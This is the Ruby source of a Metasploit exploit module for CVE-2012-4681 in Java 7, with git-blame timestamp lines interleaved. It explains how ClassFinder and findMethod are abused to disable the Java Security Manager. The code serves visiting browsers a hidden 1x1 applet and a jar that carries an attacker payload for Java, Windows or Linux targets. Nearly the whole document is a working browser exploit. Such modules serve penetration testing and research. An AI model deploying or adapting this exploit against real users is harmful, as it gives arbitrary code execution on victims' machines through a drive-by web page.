2012-08-27 09:25:04 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java 7 Applet Remote Code Execution',
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'Description' => %q{
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2012-08-29 16:10:35 +00:00
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The exploit takes advantage of two issues in JDK 7: The ClassFinder and
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MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a
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replacement for classForName back in JDK 6. It allows untrusted code to obtain a
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reference and have access to a restricted package in JDK 7, which can be used to
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abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
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actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
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(but getField() must be public, and that's not always the case in JDK 6) in order
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to access Statement.acc's private field, modify AccessControlContext, and then
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disable Security Manager. Once Security Manager is disabled, we can execute
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arbitrary Java code.
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Our exploit has been tested successfully against multiple platforms, including:
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IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
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2012-08-27 09:25:04 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability Discovery
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'jduck', # metasploit module
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'sinn3r', # metasploit module
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'juan vazquez', # metasploit module
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],
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'References' =>
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[
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2012-08-28 06:21:32 +00:00
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[ 'CVE', '2012-4681' ],
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[ 'OSVDB', '84867' ],
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2012-08-27 09:25:04 +00:00
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[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
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2012-08-27 18:24:43 +00:00
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[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
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2012-08-27 18:29:27 +00:00
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
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2012-08-27 09:25:04 +00:00
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[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
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],
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'Platform' => [ 'java', 'win', 'linux' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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2012-08-30 16:39:20 +00:00
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'Platform' => 'java'
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2012-08-27 09:25:04 +00:00
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}
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],
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[ 'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 26 2012'
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))
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end
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def on_request_uri( cli, request )
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2012-08-30 16:39:20 +00:00
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2012-08-27 09:25:04 +00:00
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if not request.uri.match(/\.jar$/i)
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if not request.uri.match(/\/$/)
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send_redirect(cli, get_resource() + '/', '')
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return
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end
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print_status("#{self.name} handling request")
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send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
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return
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end
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paths = [
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[ "Exploit.class" ]
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]
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p = regenerate_payload(cli)
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jar = p.encoded_jar
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paths.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0,idx].join("/") + "/"
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if !(jar.entries.map{|e|e.name}.include?(full))
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jar.add_file(full, '')
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end
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end
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2012-08-28 14:33:01 +00:00
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fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-4681", path ), "rb")
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2012-08-27 09:25:04 +00:00
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data = fd.read(fd.stat.size)
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jar.add_file(path.join("/"), data)
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fd.close
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end
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print_status("Sending Applet.jar")
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send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
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handler( cli )
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end
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def generate_html
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html = "<html><head></head>"
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html += "<body>"
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html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
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html += "</applet></body></html>"
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return html
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end
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end
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